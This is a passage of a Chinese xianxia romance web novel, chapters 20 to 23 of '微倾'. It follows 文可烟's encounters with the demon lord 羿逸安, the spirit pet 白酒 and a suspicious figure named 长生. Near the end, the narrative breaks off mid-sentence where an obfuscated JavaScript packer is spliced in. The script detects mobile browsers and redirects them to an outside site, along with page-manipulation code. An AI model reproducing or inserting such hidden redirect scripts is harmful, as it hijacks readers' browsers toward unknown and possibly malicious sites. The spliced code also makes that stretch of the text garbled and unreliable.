文可烟自己倒是半分异常都没觉察到,但面对芯核此刻严肃得近乎冰冷的表情,她也不敢出半分差错。 文可烟觉得,芯核肯定在办一件很重要的事,万一因为她而耽误了,那她的罪过可就大了。这般想着,她不自觉地挺直脊背。 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她的脑海中闪过无数个念头,却始终无法精准捕捉。 恍惚间,一个念头如同闪电般划过她的脑海,瞬间照亮了那片模糊黑暗的角落。 ! 文可烟的心跳猛地一滞。 这个声音……她曾在议事阁听过! 她闭上眼睛,努力回忆着那个声音的主人。脑中的记忆如同一卷卷画卷,快速翻滚。 有议事阁里金碧辉煌的装饰,有众人严肃而又紧张的面容,有嘈杂的讨论声和脚步声,还有那个让她印象深刻的年轻声音…… 终于,一个清晰的画面定格在她的脑海中…… ! 眼睛! 一双并不附和他容貌的眼睛! 是她第一次来魔族时,那个来“迎接”她的人! 那人的面容在记忆中渐渐清晰起来,是一张年轻而又英俊的脸,可那双眼睛,却完全是老态的形象。两相结合在同一画面中,形成了鲜明的、近乎刺眼的对比。 文可烟终于知晓,第一次见他时,心底那股挥之不去的怪异感究竟从何而来了。 难怪她当时就莫名觉得,那人身上散发着一种古怪气息,就好像一道原本色香味俱全、还算不错的佳肴上,突然出现了一只恶心的苍蝇。不仅破坏了所有的和谐感,还满心都是不适。 可是,她根本没有在议事阁见到过他。 难道是因为当时太混乱,她没注意到? 脑海中再次浮现出议事阁里的场景,她试图从那些模糊的记忆中找到那个人的身影,可却始终一无所获。 文可烟沉浸在自己的思绪中,连二长老最后是如何愤然甩袖离开的,都浑然不知。她只是静静地站在那里,心早已不知飘到哪里去了。 也不知过了多久,文可烟只觉自己随着一股神秘的力量牵引着,双脚不由自主地移动。她的身体此刻像是失去了自主意识,只能任由这股力量摆布。 一路上,她感觉自己就像一片被狂风卷起的落叶,身不由己。 周遭的景象在文可烟眼前飞速掠过,她整个人恍恍惚惚的,眼神涣散,根本没有留意。 20. 微倾(十一) 文可烟真正回过神来时,她已经身处魔族净地之中了。 耳边还依稀回荡着芯核那低沉而急促的话语:“小殿下,这隐蔽气息的术法维持不了太久,你还是先躲进魔族净地吧……” 话音未落,文可烟便感觉一股力量将自己轻轻推送入净地。 随后,一切归于宁静,只剩下夜半的寂静和偶尔传来的风声。 * 这个夜晚,似乎比往常更加漫长,烛灯也比平时亮了许多,昏黄的光晕洒满整个房间,却驱不散文可烟心中些许思绪。 她单手托腮,指尖轻轻点着自己的脸颊,目光呆呆地望向那盏烛灯。 空气中似乎飘散着一股莫名熟悉的味道,那味道如此亲切,又如此难以捉摸,好似一直萦绕在她身边,从未曾离开。 文可烟微微皱起鼻子,轻嗅了一下。 可是……她刚回到净地时,分明没有闻到这股味道啊?而且,今日的烛灯,也似乎有些不同寻常…… 文可烟心中暗自嘀咕,眼神却在烛灯上停留片刻,随即收回,觉得有些无趣,便径直在床上躺下。 刚闭上眼,想要回忆一下今日发生的种种,那烛灯却突然熄灭了,整个房间瞬间陷入一片黑暗。 耳边似乎传来风轻轻拂过的声音,那熟悉的气息钻进文可烟的鼻息,比之前更浓,她莫名感到一阵安心。很快,她便陷入了半梦半醒的状态,在最后一点清醒的意识存留之际,她想…… 既然羿逸安不来看她,那她便主动去找他,确认白酒的安危吧…… …… 已经过了正午时分,文可烟手中紧握着那枚狐狸吊坠,心中却有些犹豫。 第一次,她靠着这枚吊坠直接来到了羿逸安的寝殿;第二次,则是被芯核带到了结界处。那这一次……她会去哪儿呢? 万一再遇到昨晚芯核躲着的那两人……那她不是将会被折磨至死? 可是,羿逸安不会过来了,她又必须得确认白酒的安危,不然…… 脑中的狂风暴雨跟不上身体反应,还没等她文可烟完全想清楚,双腿就像是不受控制一般,早已走到了结界处。 狐狸吊坠明明早已戴在她的颈子上,但她还是下意识地去握那枚吊坠,好似这样就能给她带来一丝安全感。 随后,她缓缓闭上眼睛,轻呼出一口气。再次睁眼时,她已经身处羿逸安的寝宫之内。 寝宫内,烛光摇曳不定。红艳艳的“喜”字装饰物依旧赫然挂在墙上,在单调的魔尊寝宫,显得格外刺眼。 竟然还未曾撤去。 文可烟环视四周,眼神在每个角落停留,却并未发现羿逸安的身影,心底莫名涌起一阵惆怅。 那这次她又该去哪儿找他呢? 恰在此时,门外传来一阵模糊的低语声…… “尊上,大长老……让你……”那声音低沉而急促,像是有什么紧急的事情要汇报,却又模糊而断续,让人听不真切。 “……” 文可烟模模糊糊间只捕捉到这几个字眼,能捕捉到这几个字还是因为她此刻再一次听到昨晚那人的声音了。 在意识过来那一刹那,她神经瞬间紧绷起来。 正打算再仔细听时,门却在这时被猛然打开了。 “吱呀”一声,一股冷风扑面而来,吹得文可烟眉间发丝轻扬。 羿逸安的颀长身影出现在门口,逆着光,他的轮廓被勾勒得愈发深邃。 羿逸安在看见文可烟的瞬间,他眼底平静的湖面荡起些许微小波纹,眼底的震惊一闪而过,随即被一层晦暗情绪所取代。 此刻的他身着黑色长袍,衣袂随风飘动,宛如夜色中降临的弑魔,周身围绕着令人胆寒的气息。还未靠近,文可烟就能感受到他周身那股强大的气场与压迫感。 羿逸安不假思索地横跨一步,动作迅速且自然地,精准挡住了身后长生的视线。 下一秒,门在他强硬的力道下,发出“嘭”的一声闷响,重重合拢。那模样,竟有几分像是已成婚的妻子满心惶恐想要逃离,而夫君霸道又强势地将她禁锢在这方寸之地,不容她有丝毫退缩。 可在这短暂到几乎无法估计的时间里,文可烟还是不可避免地与长生对视上了,与那双有着岁月痕迹的眼睛对视上了…… 真的是他! 在关门前那一瞬,文可烟似乎还看见长生嘴角勾起一抹得意而诡异的笑容。 文可烟只觉一阵不适和不安,须臾,像是意识到什么可怕的事情,慌乱地将视线落在羿逸安身上,惊讶几乎要从那双静止的眼眸中溢出来。 她的嘴唇微微张开,想要说些什么,却又什么也没说。 那人竟与羿逸安的关系这般……熟稔? 文可烟恍然惊觉,自己像是被命运无情摆弄的棋子,不知不觉间早已深陷于这纷繁复杂的种种事件之中。那些看似偶然的经历,那些看似不经意的巧合……都在告诉她,她根本逃不开这命运的枷锁。 可……她最初的心愿,不过是想求一个解脱,求一个死啊! “你为何又出来了?”羿逸安的声音在空旷的寝宫显得更低沉、更阴冷,冷得文可烟浑身一麻。 羿逸安的脸色冷得如同千年不化的寒冰,透出一股令人心悸的寒意。 在那无人察觉的袖口之下,他的手早已紧握成拳,力道大得像要将整个拳头捏碎,浑身散发着一股盛气凌人气息。 文可烟显然还没从自己的震惊中回过神来,她维持着最开始的动作,空空地望向门上的一点。 羿逸安那带着怒火的质问声,在她混沌的脑海里不过是一阵模糊的嗡鸣,她根本未曾听清,又或是此刻她的思绪早已不知飘到了哪里。 她只觉周身被一股强烈的压迫感紧充斥着,逼得她本能地想往后退一小步,可双脚又像是被控制在了原地,动弹不得。 身体在这矛盾的状态中不断拉锯,挣扎着却始终找不到出路。 这一幕,在羿逸安看来,无疑是火上浇油。漆黑瞳孔中火星跳跃,一种不知名却类似于暴戾因子的情绪瞬间挣脱了束缚,在血液中沸腾起来,几乎要冲破他的理智防线。 下一秒,一阵黑雾如同恶魔的爪牙般向文可烟迅猛袭来。黑雾翻滚涌动,所到之处,一切 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任谁也能一眼看出,这是谁的“杰作”。 而此刻,文可烟表现得像只受惊鹌鹑一样,蜷缩在床的一角,默不作声。 这番杂乱不堪景象,是她当时看到芯核小屋时,冒出来的念头。她想着,以防万一羿逸安来了,看到此种状况定然能惹得他暴怒。只要他生气,自己的计谋或许就能达到了…… 可她万万没想到羿逸安来得这么快啊!而且还是这么个情况,她都还没问到白酒近况呢! 羿逸安淡淡扫了一眼杂乱不堪的地面,收回了视线。旋即,他的目光又轻飘飘地瞥向蜷缩在角落的文可烟,身形一闪,一下子瞬移到她身边。 他单膝跪在文可烟身旁,动作看似分外轻柔,压迫感却十足。那只冰冷的手,再一次不声不响触到文可烟那细腻无暇的脖颈,十分有存在感。 文可烟恍然间产生出一种被一条冰冷的毒蛇缠上的恐惧感,寒意顺着脊梁骨往上窜,瞬间传遍全身。 她身体倏地僵住,一动也不敢动。她被迫抬头,与羿逸安对视,眼神中头一次出现些微不屈的情绪。 羿逸安居高临下的垂眸看她,姿态傲慢又散漫。眼中的□□大得能将文可烟瞬间湮灭在这炽热的火焰之中。 文可烟能清晰感受到羿逸安手上的力度在逐渐加大,紧紧扼住她的咽喉。她逐渐有些喘不过气来,脸颊因为缺氧而泛起一抹红晕,带着一丝妖冶与凄美。 羿逸安眼睑垂得更低,睨向她胸前。长睫遮掩住他眼中一切情绪。 文可烟却在这没与他对视瞬间,得到一丝喘息,她趁机本能地呼吸。 片刻,羿逸安缓缓俯下身靠近她,嘴唇停在她耳畔,间距近得相当于没有。 文可烟能清晰感受到他唇上的冰凉,就如寒冬最高处的雪花,冻得她浑身血液都似要凝滞。可偏偏,这彻骨的寒中又裹挟着一种奇异的吸引力,身体感到一阵酥麻。 羿逸安轻轻冷笑一声,声音低得只有他们两人能听见。 该死的,这时候,文可烟竟觉得羿逸安莫名的性感。 21. 微倾(十二) 羿逸安的呼吸喷洒在文可烟的耳垂,薄凉的唇瓣似裹挟着未融的碎雪,冷意顺着耳后细小的血管一路蜿蜒,却在半途撞上他温热的吐息。 两股截然不同的温度在她颈侧纠缠,惹得耳尖霎时染上胭脂色,那抹红顺着玉颈一路游走,连指尖都染上了几分细密颤意。 文可烟痴痴地望着远方,眸光涣散如晨时里被风吹散的雾,却固执地凝在虚空的某一点。余光中,羿逸安的每一个毫无意义的细微举动,被无限放大,似乎已让她不由自主地吸引沉沦。 忽然,羿逸安手一挥,屋子恢复如初。文可烟涣散的眸光微微一滞,在看清这瞬息变化后,又迅速黯淡下去。 她突然觉得自己傻得可怜…… 怎么会认为这区区杂乱能让他生气呢? 羿逸安喉结一滚,将满腔郁结咽下,低沉而压抑的气音贴着她耳廓响起:“看来……你真的很想死啊!” 文可烟阖上眼,想象中的窒息感并未来临。须臾,她虚虚睁开眼,指尖已先欲意识抚上胸口,手指在胸前慌乱地摸索着,却只摸到了一片空荡荡的布料。 她的心猛地一沉,连忙坐起身来,低头看向自己的胸前,只见那里空无一物,狐狸吊坠已经不见了踪迹。 文可烟觉得这一次,她……真的得不偿失。她原本只是想确认白酒的安危,却没想到弄巧成拙,不仅没能达到目的,还白白失去了那枚狐狸吊坠。 而她与羿逸安之间的关系,也会因为这次的事件变得更加疏远。 他……又一次生那么大的气,这一周三次怕是要形同虚设了…… 不过在此之前,她只想确认一下白酒……可……还有机会吗? 文可烟麻木然地躺在床上,无所事事地想着,连天色逐渐暗沉下来,都浑然未觉。 不知过了多长时间,身旁飘来一阵清风,熟悉的味道夹杂着丝丝寒意再次袭上鼻头。 等文可烟意识到这次风带着些许凉意时,那股味道已将她全身包围。她后知后觉地将目光落向窗外,窗户紧闭,哪来的风呢? 她轻轻抽动鼻尖,再次吸入那缕飘散在空气中的熟悉味道,这一次,她似乎还闻到了淡淡的香气。 这香气似乎曾在哪里闻过……她蹙眉细思,是什么呢? 文可烟空洞地望着某处,思绪飘忽不定。烛灯却“噗”的一声突然熄灭了,一切瞬间陷入一片漆黑。 而在另一处静谧的角落,羿逸安在与文可烟莫名其妙长时间的对视里,喉结微微滑动,不自在移开了视线。 慌乱之下,他竟不受控制地一挥手,灭了烛灯,企图用黑暗来掩盖自己的存在。 正狂跳不已的心口已被羿逸安抬手按住,这感觉陌生得让羿逸安心慌,他不禁疑惑起来,这是什么意思? 他深吸一口气,试图缓和自己心跳的速度,可丝毫没有缓减的迹象,依旧那么急促,那么慌乱。 可谁又想起,文可烟其实根本看不见此刻隐形的他。 “今天晚上,熄得有些早呢!”文可烟默默嘟囔了一句,声音小得连她自己都有些听不清。 随后,她缓缓闭眼,躺在床上好一会儿也毫无睡意。 她想,或许是今夜的凉意令她实在有些不适,或许是今夜的烛灯熄得实在太早,又或许…… 反正让她根本睡不着。 文可烟起身披了一件斗篷,轻轻推开房门,门轴发出“吱呀”一声轻响。 微凉微凉的溪流边站着一鸣一暗两个身影,文可烟沉吟仰头望向了天空。 今日的月亮格外圆亮。 她想,明日应该会更圆吧! 她有多久没好好看过月亮了呢?好像从她记事以来,就未曾留意过月亮。 文可烟就这样静静站在溪流旁,欣赏着月亮的皎洁,感受着夜风的轻拂,心中涌起丝丝宁静与满足。 若有若无地,她的鼻尖似乎还飘散着那股淡淡的香味,与夜晚的凉意交织在一起,让她感到一丝莫名的踏实。 许是夜晚的寒意实在太过有杀伤力,文可烟忍不住打了个喷嚏,声音在静谧的夜空中显得格外清脆。 她蹲在地上,下意识地拢了拢自己的衣服。随后,她双手交叉抱在膝盖上,将自己蜷缩成一团,微仰着头望向那轮皎洁的明月。 那模样,实在可爱至极,纯洁美好,让人忍不住想要捧在手心里,小心呵护。 躲在暗处的羿逸安,垂眸凝视着这样的文可烟。 一股莫名的悸动自内心最中央而起,缓缓流淌至全身,持久悠长而缓慢…… 他的身体似乎又出现了那种无法解释的状况…… * 当文可烟醒来时,窗外天色已大亮,心中有些惆怅。思绪一转,又想起白酒,她又开始思考着要怎么才能确认白酒的安危。 突然,被子里似乎有什么东西在蠕动,那种微妙的感觉让她瞬间清醒了过来。 本想赖在床上不起来的文可烟,立马像弹簧一样“噌”地弹跳了起来,慌乱间连鞋都没来得及穿,光着脚丫踩在了地上,紧紧地盯着那床凸起一小块的被褥。 可这之后,被褥再没任何动静…… 文可烟小心翼翼的朝床沿挪去,每一步都走得极轻极慢。食指与拇指非常小心且轻轻地捏住被褥的一角,十分害怕。她在心里默默数着:“一、二、三”,数到三的瞬间,她猛地一下子把被褥翻了过来。 “……” 只见白酒正仰面躺在床上,小肚皮一起一伏喘着气,嘴巴还微张着,时不时还嘟着嘴,模样憨态可掬。 文可烟看到这一幕,心中的惊慌瞬间化为了乌有,却有些气不打一处来。可看到白酒完好无损回来了,又忍不住笑了起来。 终归还是放松了下来…… 她轻轻坐在床边,看着白酒懒洋洋地躺在床上,那圆滚滚的身子,毛茸茸的模样。 文可烟的手指不自觉地动了动,她有点想摸。 突然,思绪突然像被什么触动了一般,她似乎意识到了什么…… 白酒此刻能出现在这儿,那意味着…… 羿逸安来过! 可他晌午走时,白酒并没出现…… 那他…… 管他呢,白酒安然无恙就好。 这时,她突然想起昨晚那若有若无的熟悉的气息,与羿逸安正午掐她脖颈时一模一样。 难道……他这几日晚上都来过 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话一出口,文可烟眼神微微闪烁,似乎期待能从白酒口中听到关于羿逸安的消息。 “嗯~”白酒挠挠自己的小脑袋,左右瞧了瞧,“我也不知道。” “那你这几天都在‘小黑屋’里休息吗?” “对啊,都怪那一周,我差点都死翘翘了……”白酒说到这,小身子微微一颤,似乎还心有余悸。但很快,它又挺直了腰板,话头一转,语气又变得得意起来,“不过,像我这般不一般的唯一九尾灵宠,一般死不了滴~” 文可烟眉眼间流露出一抹温柔,垂眸看着身边的白酒,心中涌起一股难以言喻的暖意。 不知为何,她总觉得有白酒陪伴在侧,她的心情便会莫名地好转。以往的日子也是这样,整天和白酒形影不离,她的情绪总是饱满鲜活,就连那些颓废的情绪也消散得无影无踪。如今想来,她觉得白酒像随身携带的“充电宝”,随时随地都能让她情绪有所好转。 和白酒待了一天,文可烟的状态明显恢复了不少,嘴角也时常不自觉上扬。 这晚,文可烟心血来潮,想再看一次月亮,验证一下今晚的月亮是否比昨晚更加圆润。她收拾一番便带着白酒走出了小屋,来到了昨晚的位置。 可没看多久,当她转头想找白酒时,却发现原本应该在她脚边的小家伙已然不见了踪影。 文可烟四处张望,沿着溪畔来来回回地寻找。突然,她的目光被溪流对面的一处吸引了过去。月光下,站着一个人影。 不对,是两个。 意料之外的人,以文可烟意料之外的方式出现了…… 羿逸安似乎正和一个女子……幽会? 那名女子正面对着文可烟的方向,嘴唇翕动,似乎在说着些什么。 文可烟心中一紧,难怪之前一周他都没来小庭院,这几天也不来,原来是有佳人相伴啊。 如今,他竟还把这佳人带到了这方魔界净地,看来…… 这女子对他来说很重要啊。 文可烟突然觉得挺没意思,提步准备转身离开,结束这场无意义的窥探。 22. 微倾(十三) 就在转身的瞬间,文可烟一脚不偏不倚踩到了一颗石子,那石子在她脚下微微滚动几圈,发出了一声轻微的声响。 羿逸安瞬间警觉,眼神一凌,朝发出声音的方向看过去。他身形一动,在空气中化作一道黑色幻影,以肉眼捕捉不到的速度瞬移到了文可烟眼前。与此同时,那名女子也似乎在那瞬间消失得无影无踪。 那团黑影的一部分紧紧抵在文可烟的脖子上,氤氲着森冷的寒意,似乎随时都会取走她的性命。 眼看着羿逸安似乎准备对自己下杀手,文可烟的心猛地一横,心中竟涌起一股莫名的赌气之意。她几乎是不经思索地脱口而出:“不就是魔尊大人月下私会女子吗?有什么大不了的。” 羿逸安动作一顿,他原本凌厉的眼神闪过一丝诧异,只一瞬,便化回了实体,站在了文可烟的面前。 文可烟感受到他化为实体后扑面而来的压迫感,身体本能地想要后退。却发现即便化为实体,羿逸安的手依然抵在自己的颈边,只是力道已不似先前那般冷冽,手指微微虚握着,并不松手,倒像是在试探。 文可烟感受到了羿逸安对她的杀意有所减弱,她意识到自己刚才的话有些多余,甚至可以说是愚蠢,明明就快成功了,她为何要开口?在羿逸安的视角,这无疑是她在为自己开脱,而且居然成功了。 下一秒,紧接着的冲动涌上心头,她试图激怒羿逸安,挑衅道:“不如尊上直接把我杀了?这样……才名正言顺,不是?” 羿逸安闻言,眼神微眯,那狭长的眼眸头透出危险的气息,修长的手指轻轻抚上文可烟颈间的肌肤。 他轻轻掰正她的脸,迫使她与自己对视,那目光深冷如死水,让人根本无法看破里面掩藏着怎样未知的危险。 这一刻,羿逸安从她的眼底读出了死意,但他明显察觉到,这一次的死意没有之前那么强烈。 他的心中涌起一股莫名的兴趣,眉头微微挑起。 是什么改变了她的想法呢? “是吗,可本座觉得留下你,更有趣呢!”羿逸安用正常的语调说话,却莫名让人不寒而栗。 这话在文可烟听来,就是在挑衅。 他是觉得这样三人行的游戏更有趣? 真是可笑! 文可烟直视羿逸安的双眼,身体在羿逸安寒冷气势下起了一身鸡皮疙瘩。她强忍着不适,将她内心的疑惑直接问了出来。 “她是谁?” 羿逸安维持着掐住她脖子的姿势,嘴角勾起一抹玩味的笑意。 “你想她是谁,她就是谁。”声音透着低沉,却仍几分不可一世的傲慢。 文可烟眉毛一挑,似乎这个回答在她意料之中。她继续开口,语气平静地像在聊家常,“他是谁?” 羿逸安听到这个问题,明显一愣。嘴角的笑意瞬间收敛,连放在文可烟颈边的手也缓缓放了下来。错愕的表情明晃晃写在他脸上,他根本没想到文可烟会重复问问题。 文可烟轻瞥一眼羿逸安放下的手,心中涌起一种畅快感。她开口:“那日,在你寝殿门外的那个人是谁?” 明明是一句再寻常不过的补充问句,可文可烟说出口时,却自带一股凛冽气势。就连威严赫赫、气场强大的羿逸安,竟也被唬住牵着鼻子走,他下意识地回答道:“你说长生?” 文可烟撇了撇嘴,那神情很是漫不经心,她分明是用最寻常不过的语调,缓缓吐出“哦,原来他叫长生”这几个字,可那尾音却像是裹了一层冰碴,就好像方才问出问题的根本不是她。 说完,那抹纤瘦背影裹着淡青纱裙,发间银簪随她转身的步履轻晃。她就那样孤寂又清冷地离去,只留下一个让人捉摸不透的背影。 羿逸安呆呆地在原地,怔怔望着她单薄肩胛骨在薄纱下微微起伏,喉结滚动间,竟尝到一丝铁锈味——是方才情急时咬破了唇。 他的眉头微微皱起,心中像是被什么东西轻轻挠了一下,痒痒的,又夹杂着不知所措。 这时,羿逸安似乎也回过味来,意识到自己被文可烟戏耍了,嘴角几不可察地抽搐了一下。 于是,小屋内的状况变得异常尴尬和紧张,好似一根随时都可能断裂的弦。 羿逸安与文可烟对坐在桌前,两人之间隔着一张古朴的桌子。谁也没开口,谁的气势也没压过谁,只是静静地坐着,各自怀揣着心思。 文可烟困意来袭,眼皮开始打架,指尖轻轻敲打着桌面,发出有节奏的声响。她忍不住率先开口,“你今晚不必在这儿就寝。” 羿逸安轻蹙眉头,莫名的烦躁情绪暗暗涌动着。 这是闹哪出?难道是因为他今天差点杀她的举动?可她不是一直想死吗? 他疑惑地看着文可烟,从她眼中却读不出任何情绪。 文可烟身体微微后仰,淡淡开口:“以后都不用来了。” 羿逸安冷静片刻,“我说了一周三次,就一定会信守承诺。” 文可烟小声嘀咕,“说的像你没违背过一样。” 她吐槽这句话说得很轻,可还是被羿逸安听到了。 “所以我打算这两周日日都来。”羿逸安面色平静,就好像他说了一句再平常不过的话。 “谁要你陪。”文可烟神色一顿,头微微扬起,下巴线条紧绷,没好气地回了一句。 “我只是在……弥补我的错误。” “你有什么错?”文可烟蹙眉扫他一眼,有些疑惑,多嘴问了一句。 羿逸安没有回答,两人却在这时目光相遇。这一对视,两人似乎都心照不宣想到了什么,却又都选择了沉默。 室内寂静一瞬。 “两周时间还剩十一日。” 说完这话,文可烟还不忘偷瞄羿逸安一眼。 羿逸安似乎还没反应过来文可烟的话是什么意思,他愣住了,眼神中闪过一丝迷茫,似乎在努力理解。但不过片刻,他似乎明白了什么,心下一紧。 她都知道了? !!! 她知道他晚上来过了? 一种如芒在背、被抓包的感受瞬间涌上心头。羿逸安只觉自己魔尊孤傲的形象破碎了,他再也坐不住,猛地站起身,动作之急,竟带翻了身后的椅子,发出“哐当”一声巨响。 他哪儿还顾得上这些,瞬间施法,消失在文可烟眼前,那匆忙的模 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文可烟在迷迷糊糊中感受到了这一切,意识在这时被一股无形的力量猛然拉回现实。她倏地睁开眼,却又因为实在太困,只能半睁半闭。 她模糊地意识到,羿逸安睡在了她身旁。 他还敢睡在她身旁? 这个认知让文可烟瞬间清醒了几分。可奈何她现在实在太困,身体像是被一股无形的力量束缚着,根本无法提起力气去赶羿逸安下床。她只能无奈地叹了口气作罢,任由自己再次沉入那浑沌的梦乡之中。 明天定不忘好好教训他一番。 清晨,一束光打在羿逸安与文可烟的脸上。 文可烟在睡梦中感觉到脸上似乎有毛茸茸的触感,带着一丝温热,像是有人用羽毛轻轻挠着她的脸。不一会儿,那轻柔的触感便将她从梦境中唤醒。 文可烟半梦半醒间,半眯着眼睛,朦胧中看见一只毛茸茸的小家伙——白酒,正水灵灵地蹲在她的头侧,不知在捣鼓些什么。 她心头一暖,嘴角不自觉上扬,伸出手欲揉揉白酒那柔软的头顶。却不料小家伙灵巧一闪,轻易躲过了过去。 文可烟的视线随着白酒轻盈的动作移动,直到白酒完全离开她的枕边,跳到一旁的被褥上,她才蓦地察觉到一丝不同寻常的气息…… “……” 羿逸安,此刻也静静地躺在她身旁。方才,白酒恰好挡在他们两人之间,巧妙地遮住了她的视线,她丝毫没有意识到身边还有另一人的存在。 此时,白酒的离去,让两人的距离变得异常清晰。 文可烟缓缓转动眼珠,与羿逸安的目光不期而遇。 两人就这样莫名沉默地对视着,空气一度十分微妙。 “……” “……” 房间内鸦雀无声,只能隐约听见白酒在被褥上轻盈行走时发出的细微摩擦声,提醒着他们时间在缓缓流淌。 文可烟脸上的笑意渐渐凝固,大脑飞速运转,过了好一会儿,她才勉强挤出一句话来:“你……现在应该知道白酒的主人是谁了吧。” 23. 微倾(十四) 在文可烟衬托下,羿逸安状态倒显得有些放松,不过也没好到哪儿去。他眼珠微微滑动,像是在刻意避开她的目光。 “我大概猜出来了。” 这话一出,文可烟几乎是从床上弹跳坐起身,动作之快,好似慢一步,羿逸安的答案就会改变,“那你现在应该知道,白酒一般藏在哪儿了吧?” 羿逸安的目光在触及她背影时滞了一秒,却又在转瞬之间恢复了那副漫不经心的模样,轻飘飘地吐出两个字:“不知。” “你不是它主人吗?”文可烟不满地嘟囔着,语气中颇有几分吐槽的意味在。 羿逸安闻言,淡定地坐起身来,垂头整理了一下衣襟,只回了一个“哦”字。 “哦?”文可烟转过身,朝羿逸安看去,显然是对他的回答并不满意。 羿逸安没有再给她追问的机会,径直下了床,走向小屋的门边。每一步都显得从容而挺拔,一吸一呼间,无不透出他与生俱来的自信与气场。 在文可烟视线里,他的背影渐渐变小。她就这样静静坐在床上,目光追随着他的身影。直到他的身影完全消失在门边,只留下那一扇紧闭的门。 她有些不明白,以羿逸安的本事,明明有更为便捷、神不知鬼不觉的方式,比如化作一缕黑影瞬间消失,为何他却执拗地选择一步一步走着离开小屋呢? 他又不是她这个平平无奇、无大作之为的“废材”。 不过,这些念头很快就被她抛诸脑后,她根本没空去深究。 她轻轻甩头,将注意力转回到白酒身上。 文可烟双手叉腰,质问道:“你昨晚为何一声不响就消失了?”那姿态宛如一个小管家婆。 白酒似乎感知到了文可烟的情绪波动,小脑袋微微下垂,声音难免有些委屈:“我……我这不是怕又像上次那样,所以能回去就早点回去了嘛。” 文可烟扫它一眼,原本紧绷的脸色在听到这番解释后,有所缓和,可依旧严肃。 “那你刚刚怎么又突然离开了?” “刚刚?什么离开?”白酒满脸疑惑,眼睛睁得大大的,似乎完全不明白文可烟在说什么。 文可烟看着白酒这幅懵懂纯真的样子,无奈地轻叹了口气。 算了,它能知道什么呢?难不成还能是故意的? * 这几日,羿逸安如同一个精准的报时器,分毫不差地出现在文可烟的世界里,而后又准时准点地消失在她的视线中。 他的规律到访,让文可烟原本浑浑噩噩的日子有了些许的节奏感。至少,在这日复一日的循环中,她现在能清晰地感知一天中的两个时间点—— 早晨辰时,夜晚戌时。 可羿逸安每日离去之际,必定从小屋的门走出,带着一种近乎执拗的坚持。起初,这一行为在文可烟心中只是掠过一丝短暂的疑惑。但随着日子一天天过去,次数不断增多,疑惑渐渐化为更深的不解。到如今,这份不解终究被习惯所淡化,变成了理所当然的一部分。 就像每日的日出日落,无需刻意去探究。 日子就这么平淡地过着,直到这一晚,文可烟如往常一样带着白酒出门散步。不经意间抬眸,竟又撞见了羿逸安与那名女子在月光下的幽会,两人的身影倒映在湖面,交缠在一起。 也不知道这是否是命运的刻意安排,让她每次都能精准地碰上他们的约会。还是说,羿逸安和那女子真的每日都如此相见,所以一旦她出门,就必然会碰上他们。 文可烟没有多做停留,在瞥见的那一瞬间,她仿若没看见一般,迅速转身,裙裾在微风划过一道凌厉的弧线,似是她心底情绪的外化。 她一边朝羿逸安所在之处相反方向快步离去,一边在心中暗骂:“死渣男!” 什么娶过来,就是他的妻子,一辈子都是他的妻子。 惺惺作态! 什么狗屁此生,绝不再娶。 不过是男人惯用的伎俩,表面上博取清誉满天,暗地里却藏着无数风月之事,令人不齿。 她漫无目的地走着,脚下的石子被踩得“嘎吱”作响。也不知她从哪儿扯出一株小草,手指无意识拨弄着,一点一点折腾着那根可怜小草。 白酒默默地跟在文可烟身后,它没有像这几天一样急着回到“小黑屋”,而是在主人和文可烟之间,选择了后者。 自从羿逸安每晚都来后,白酒总会在主人来后回到“小黑屋”,又会在主人走之前从“小黑屋”里出来。 它这样做,一方面是为了避免上次的事件再次发生,另一方面也是以防万一。万一哪天羿逸安有事没过来,它也能在文可烟身边多留一些时长,不至于白白惹文可烟担忧。 暮春的夜,虽没了冬日的凛冽,却终究还是带着几分凉意。 丝丝凉意,从四面八方钻进文可烟的衣衫。 沿着溪流走了许久,文可烟才后知后觉感觉到冷意。她双手紧紧地抱住自己,使劲在手臂上搓了搓。 为了取暖,她扯过身旁的白酒,将它牢牢困在怀里,一步一步地往小屋走。 白酒温顺地依偎在她怀里,小小的脑袋时不时地蹭着文可烟的手心,似是抚慰,又似只是取暖。 当文可烟回到小屋时,羿逸安已经完成了他的幽会,正躺在床榻上闭目养神。 即便躺着,也自有一股与生俱来的矜贵气质,只是那心安理得的模样,文可烟登时气不打一处来。 羿逸安耳尖微动,细微的声响落入他耳中,他便知,是文可烟回来了。 静静等了许久,却没有等到文可烟上床的动作。疑惑渐起,他悠悠睁开眼睛,偏过头,目光穿过半明半暗的烛光,落下屋角的软榻上。 文可烟正双眼紧闭安静地躺在那里,似乎有些冷,双臂环抱着自己,身子也蜷缩成了一团。 “你不过来?”羿逸安的声音在寂静的屋子里轻轻响起。 “……” 文可烟的睫毛颤了颤,对羿逸安的话充耳不闻,没有给出任何回应。 羿逸安心中疑窦丛生,他自然清楚,文可烟绝不可能在这般短的时间内就睡着。 他朝软榻的方向侧过身子,静静凝视着文可烟。 正欲动动手指,用术法将文可烟瞬移至自己身旁时,文可烟突然睁开了双眼。 羿逸安手一抖,显然被她这突如其来的动作吓了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423437|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳。他愣了愣,还未待他反应过来,文可烟已然起身,一步一步地朝着他的方向走来。 羿逸安故作镇定地闭上双眼,乖乖等待文可烟上床。 不过,文可烟走到床榻边,越过羿逸安的身体,一把将锦被整个抱起。动作分外干脆利落,其间甚至混杂着一股不容置疑的狠劲儿。 她抱着锦被,又一步一步坚定地向朝屋角的软榻走去。到了软榻边,她将被褥铺开,整理完毕后,毫不犹豫地背对着羿逸安躺了下去。 一直未感受到动静的羿逸安,只觉身上一空,睁开了眼睛,床边哪还有文可烟的身影? 沉静的眼底闪过一丝征楞与错愕,他着实没想到文可烟会如此行事。 下一秒,他反应过来,手指轻轻一挑,一股无形的力量便将文可烟连同锦被一起托起,悬停在床榻的上方。 突如其来的滞空感瞬间将文可烟全身都包裹住了。她心脏一紧,瞬间睁眼,只见自己的身体正悬浮在半空之中,离床足有好几尺高。 